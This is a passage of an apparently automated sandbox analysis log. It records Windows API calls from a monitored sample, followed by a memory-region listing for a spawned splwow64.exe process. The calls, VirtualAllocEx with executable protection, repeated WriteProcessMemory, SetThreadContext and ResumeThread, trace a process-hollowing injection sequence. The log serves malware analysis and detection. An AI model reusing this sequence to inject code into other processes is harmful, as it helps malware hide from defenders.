[416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0289.999] ReadProcessMemory (in: hProcess=0x338, lpBaseAddress=0x7efde008, lpBuffer=0x23e210, nSize=0x4, lpNumberOfBytesRead=0x23e254 | out: lpBuffer=0x23e210*, lpNumberOfBytesRead=0x23e254*=0x4) returned 1 [0290.004] VirtualAllocEx (hProcess=0x338, lpAddress=0x400000, dwSize=0x154000, flAllocationType=0x3000, flProtect=0x40) returned 0x400000 [0290.012] WriteProcessMemory (in: hProcess=0x338, lpBaseAddress=0x400000, lpBuffer=0x3af2840*, nSize=0x400, lpNumberOfBytesWritten=0x23e254 | out: lpBuffer=0x3af2840*, lpNumberOfBytesWritten=0x23e254*=0x400) returned 1 [0290.154] WriteProcessMemory (in: hProcess=0x338, lpBaseAddress=0x401000, lpBuffer=0x2859d70*, nSize=0x13000, lpNumberOfBytesWritten=0x23e254 | out: lpBuffer=0x2859d70*, lpNumberOfBytesWritten=0x23e254*=0x13000) returned 1 [0290.249] WriteProcessMemory (in: hProcess=0x338, lpBaseAddress=0x414000, lpBuffer=0x286cd88*, nSize=0x4a00, lpNumberOfBytesWritten=0x23e254 | out: lpBuffer=0x286cd88*, lpNumberOfBytesWritten=0x23e254*=0x4a00) returned 1 [0290.279] WriteProcessMemory (in: hProcess=0x338, lpBaseAddress=0x419000, lpBuffer=0x2871794*, nSize=0x600, lpNumberOfBytesWritten=0x23e254 | out: lpBuffer=0x2871794*, lpNumberOfBytesWritten=0x23e254*=0x600) returned 1 [0290.336] WriteProcessMemory (in: hProcess=0x338, lpBaseAddress=0x54f000, lpBuffer=0x2871dac*, nSize=0x2e00, lpNumberOfBytesWritten=0x23e254 | out: lpBuffer=0x2871dac*, lpNumberOfBytesWritten=0x23e254*=0x2e00) returned 1 [0290.367] WriteProcessMemory (in: hProcess=0x338, lpBaseAddress=0x552000, lpBuffer=0x2874bc4*, nSize=0x1000, lpNumberOfBytesWritten=0x23e254 | out: lpBuffer=0x2874bc4*, lpNumberOfBytesWritten=0x23e254*=0x1000) returned 1 [0290.407] WriteProcessMemory (in: hProcess=0x338, lpBaseAddress=0x553000, lpBuffer=0x2875bd0*, nSize=0x200, lpNumberOfBytesWritten=0x23e254 | out: lpBuffer=0x2875bd0*, lpNumberOfBytesWritten=0x23e254*=0x200) returned 1 [0290.432] WriteProcessMemory (in: hProcess=0x338, lpBaseAddress=0x7efde008, lpBuffer=0x2875ddc*, nSize=0x4, lpNumberOfBytesWritten=0x23e254 | out: lpBuffer=0x2875ddc*, lpNumberOfBytesWritten=0x23e254*=0x4) returned 1 [0290.438] SetThreadContext (hThread=0x33c, lpContext=0x2859a8c*(ContextFlags=0x10002, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x405ce2, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0290.441] ResumeThread (hThread=0x33c) returned 0x1 [0290.862] CoGetContextToken (in: pToken=0x23e634 | out: pToken=0x23e634) returned 0x0 [0290.862] CObjectContext::QueryInterface () returned 0x0 [0290.862] CObjectContext::GetCurrentThreadType () returned 0x0 [0290.862] Release () returned 0x0 [0290.865] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x13880, cHandles=0x1, pHandles=0x2ecb70*=0xac, lpdwindex=0x23e4e4 | out: lpdwindex=0x23e4e4) returned 0x0 Thread: id = 229 os_tid = 0xd2c Thread: id = 231 os_tid = 0xd28 [0213.066] CoGetContextToken (in: pToken=0xfff97c | out: pToken=0xfff97c) returned 0x800401f0 [0213.066] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0290.947] SetWindowLongW (hWnd=0x90334, nIndex=-4, dwNewLong=2005870045) returned 18024702 [0290.950] SetClassLongW (hWnd=0x90334, nIndex=-24, dwNewLong=2005870045) returned 0x11308d6 [0290.951] PostMessageW (hWnd=0x90334, Msg=0x10, wParam=0x0, lParam=0x0) returned 1 [0290.951] GetModuleHandleW (lpModuleName=0x0) returned 0x1360000 [0290.952] UnregisterClassW (lpClassName="WindowsForms10.Window.8.app.0.141b42a_r14_ad1", hInstance=0x1360000) returned 0 [0290.952] IsWindow (hWnd=0x90336) returned 1 [0290.953] GetModuleHandleW (lpModuleName="user32.dll") returned 0x766d0000 [0290.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x400, lpWideCharStr="DefWindowProcW", cchWideChar=14, lpMultiByteStr=0xfff6fc, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefWindowProcWùc\x17ç08Dþôe|ùÿ", lpUsedDefaultChar=0x0) returned 14 [0290.954] GetProcAddress (hModule=0x766d0000, lpProcName="DefWindowProcW") returned 0x778f25dd [0290.954] SetWindowLongW (hWnd=0x90336, nIndex=-4, dwNewLong=2005870045) returned 18024782 [0290.955] SetClassLongW (hWnd=0x90336, nIndex=-24, dwNewLong=2005870045) returned 0x113094e [0290.955] IsWindow (hWnd=0x90336) returned 1 [0290.955] DestroyWindow (hWnd=0x90336) returned 0 [0290.956] PostMessageW (hWnd=0x90336, Msg=0x10, wParam=0x0, lParam=0x0) returned 1 [0290.956] SetConsoleCtrlHandler (HandlerRoutine=0x1130926, Add=0) returned 1 [0290.956] EtwEventUnregister () returned 0x0 [0290.993] GdipDisposeImage (image=0x4ec2230) returned 0x0 [0290.999] CloseHandle (hObject=0x40) returned 1 [0291.006] RegCloseKey (hKey=0x80000004) returned 0x0 [0291.007] CloseHandle (hObject=0x24c) returned 1 [0291.007] CloseHandle (hObject=0x388) returned 1 Thread: id = 233 os_tid = 0xcb4 Thread: id = 248 os_tid = 0x9e8 Thread: id = 249 os_tid = 0x9ec Thread: id = 258 os_tid = 0xe40 Thread: id = 266 os_tid = 0x5fc Thread: id = 267 os_tid = 0x598 Process: id = "11" image_name = "splwow64.exe" filename = "c:\\windows\\splwow64.exe" page_root = "0xb397000" os_pid = "0x870" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xd40" cmd_line = "C:\\Windows\\splwow64.exe 8192" cur_dir = "C:\\Windows\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e957" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3099 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3100 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3101 start_va = 0x1a0000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 3102 start_va = 0x776e0000 end_va = 0x77888fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3103 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3104 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3105 start_va = 0x7fff7000 end_va = 0x7fff7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff7000" filename = "" Region: id = 3106 start_va = 0xff8c0000 end_va = 0xff8d3fff monitored = 0 entry_point = 0xff8cd1f0 region_type = mapped_file name = "splwow64.exe" filename = "\\Windows\\splwow64.exe" (normalized: "c:\\windows\\splwow64.exe") Region: id = 3107 start_va = 0x7feffa00000 end_va = 0x7feffa00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3108 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3109 start_va = 0x7fffffd4000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 3110 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3111 start_va = 0x320000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 3112 start_va = 0x774c0000 end_va = 0x775defff monitored = 0 entry_point = 0x774d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3113 start_va = 0x7fefd7e0000 end_va = 0x7fefd84bfff monitored = 0 entry_point = 0x7fefd7e2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3114 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3115 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3116 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3117 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3118 start_va = 0x7fefe020000 end_va = 0x7fefe0fafff monitored = 0 entry_point = 0x7fefe040760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3119 start_va = 0x7feff930000 end_va = 0x7feff9cefff monitored = 0 entry_point = 0x7feff9325a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3120 start_va = 0x7fefdd60000 end_va = 0x7fefdd7efff monitored = 0 entry_point = 0x7fefdd660e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3121 start_va = 0x7fefda00000 end_va = 0x7fefdb2cfff monitored = 0 entry_point = 0x7fefda4ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3122 start_va = 0x775e0000 end_va = 0x776d9fff monitored = 0 entry_point = 0x775fa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3123 start_va = 0x7fefdca0000 end_va = 0x7fefdd06fff monitored = 0 entry_point = 0x7fefdcab03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3124 start_va = 0x7fefdc00000 end_va = 0x7fefdc0dfff monitored = 0 entry_point = 0x7fefdc01080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3125 start_va = 0x7fefdb30000 end_va = 0x7fefdbf8fff monitored = 0 entry_point = 0x7fefdbaa874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3126 start_va = 0x7fef4720000 end_va = 0x7fef4790fff monitored = 0 entry_point = 0x7fef475ecc4 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv") Region: id = 3127 start_va = 0x420000 end_va = 0x5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 3128 start_va = 0x220000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 3129 start_va = 0x5b0000 end_va = 0x737fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005b0000" filename = "" Region: id = 3130 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3131 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3132 start_va = 0x7fefdff0000 end_va = 0x7fefe01dfff monitored = 0 entry_point = 0x7fefdff1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3133 start_va = 0x7fefe4e0000 end_va = 0x7fefe5e8fff monitored = 0 entry_point = 0x7fefe4e1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3134 start_va = 0x740000 end_va = 0x8c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000740000" filename = "" Region: id = 3135 start_va = 0x8d0000 end_va = 0x1ccffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008d0000" filename = "" Region: id = 3136 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3137 start_va = 0xb0000 end_va = 0xb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 3138 start_va = 0x420000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 3139 start_va = 0x5a0000 end_va = 0x5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 3140 start_va = 0x4a0000 end_va = 0x51ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 3141 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 3142 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3143 start_va = 0xd0000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 3144 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 3145 start_va = 0xf0000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 3146 start_va = 0x1df0000 end_va = 0x1e6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001df0000" filename = "" Region: id = 3147 start_va = 0x1f60000 end_va = 0x1fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f60000" filename = "" Region: id = 3148 start_va = 0x7fefd610000 end_va = 0x7fefd623fff monitored = 0 entry_point = 0x7fefd6110e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 3149 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 3150 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 3151 start_va = 0x7fefd4c0000 end_va = 0x7fefd4cafff monitored = 0 entry_point = 0x7fefd4c1030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 3152 start_va = 0x7fefd4f0000 end_va = 0x7fefd514fff monitored = 0 entry_point = 0x7fefd4f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3153 start_va = 0x7fefcf20000 end_va = 0x7fefcf37fff monitored = 0 entry_point = 0x7fefcf23b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 3154 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 3155 start_va = 0x7fefcb20000 end_va = 0x7fefcb29fff monitored = 0 entry_point = 0x7fefcb23cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 3174 start_va = 0x1ff0000 end_va = 0x206ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ff0000" filename = "" Region: id = 3175 start_va = 0x7fef1e10000 end_va = 0x7fef1eebfff monitored = 0 entry_point = 0x7fef1e9ea84 region_type = mapped_file name = "unidrvui.dll" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\UniDrvUI.dll" (normalized: 